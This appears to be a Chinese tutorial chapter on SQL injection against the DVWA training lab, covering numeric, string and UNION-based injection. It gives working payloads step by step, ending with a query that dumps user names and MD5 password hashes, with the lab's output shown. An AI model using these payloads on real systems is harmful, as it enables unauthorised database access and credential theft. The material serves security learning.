sql注入本质上分为sql注入和sql盲注,本章主要将sql注入,靶场使用DVWA,详见前一章怎么搭建靶场
在学习本章之前你需要掌握sql语句的使用和关键字的使用
sql注入是什么?
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
注入方式
我们先来看一个sql语句
select * form xx_table
这是一个查询语句,查询xx_table下面所有的内容
1. 数字型注入
当我的代码变成
select * form xx_table where id=?
当后台服务器没有对用户输入进行过滤(意味着直接拿着用户输入进行sql组装),那么我们可以这样输入
1 or 1=1
那么此时后台会返回这张表的所有数据,这里为什么叫数字型注入,因为输入的为数字
2. 字符型注入
有一些服务器会使用字符来进行sql组装,那么我们此时的sql语句大致是这样的
select * form xx_table where id='?'
如果我输入1,那么这个sql会将我这个1转化为字符,也可能是字符串,如果是字符串就是双引号"不是单引号'。此时我们同样是用1=1去进行注入,此时我们的输入可以是
1' or '1'='1
我们加上一个'号将
id='1'
结束,此时的语句就变成了
select * form xx_table where id='1' or '1'='1'
好了说了两个我们来看DVWA里面的是什么注入
3. DVWA实验
先将DVWA的安全等级降至low级,首先我们切换到sql injection,我们在输入框中输入1先判断是否为数字型,返回了这个:
ID: 1 or 1=1
First name: admin
Surname: admin
正常返回,目前位置无法确定是否为数字型,我们再输入1',报错
Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'''
这里就已经能看出来这是一个字符型,那可以进行字符型注入,输入1' or '1'='1*,返回:
ID: 1' or '1'='1
First name: admin
Surname: admin
ID: 1' or '1'='1
First name: Gordon
Surname: Brown
ID: 1' or '1'='1
First name: Hack
Surname: Me
ID: 1' or '1'='1
First name: Pablo
Surname: Picasso
ID: 1' or '1'='1
First name: Bob
Surname: Smith
注入成功
4. union注入
union关键子会将后面的结果和前面的结果一起输出,例如:
select id from xx_table union select name from xx_table
这时会输出:
id:1
id:tom
好了我们有了这个前提,我们先看看返回几列,我们输入order by来看看返回的列数,在DVWA的输入框中输入1' order by 3 #(注释符,表示后面字符的全部无效),因为我们在之前的注入中看到有frist name和surname,所以至少是两列,所以我们直接从第3列开始,输入之后,报错:
Uncaught mysqli_sql_exception: Unknown column '3' in 'order clause'
所以现在返回的是两列,我们来获取数据库名称,输入1' union select 1, database() #,因为是两列,所以要满足格式,select 1会直接返回1,输出:
ID: 1' union select 1, database() #
First name: admin
Surname: admin
ID: 1' union select 1, database() #
First name: 1
Surname: dvwa
可以得到数据库名称为dvwa,现在我们来获取表名,先来看一个前提
information_scheam数据库
NFORMATION_SCHEMA提供了对数据库元数据的访问,MySQL服务器信息,如数据库或表的名称,列的数据类型,访问权限等。 有时也把这些信息叫做数据字典或系统目录。每个数据库实例都会有一个 INFORMATION_SCHEMA 库,保存的是本实例下其他所有库的信息。INFORMATION_SCHEMA数据库包含多个只读表。
NFORMATION_SCHEMA中包括:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
有了这个前提之后我们输入1' union select 1,table_name from information_schema.tables where table_schema=database() #输出:
ID: 1' union select 1,table_name from information_schema.tables where table_schema=database() #
First name: admin
Surname: admin
ID: 1' union select 1,table_name from information_schema.tables where table_schema=database() #
First name: 1
Surname: guestbook
ID: 1' union select 1,table_name from information_schema.tables where table_schema=database() #
First name: 1
Surname: users
也就得到了两张表名,再来获取users表下面的列名,输入1' union select 1 , group_concat(column_name) from information_schema.columns where table_name = 'users' #,输出:
ID: 1' union select 1 , group_concat(column_name) from information_schema.columns where table_name = 'users' #
First name: admin
Surname: admin
ID: 1' union select 1 , group_concat(column_name) from information_schema.columns where table_name = 'users' #
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
这样我们就得到所有的列名,就可以正常操作了,比如输入1' union select user,password from users#获取用户名密码,输出:
ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99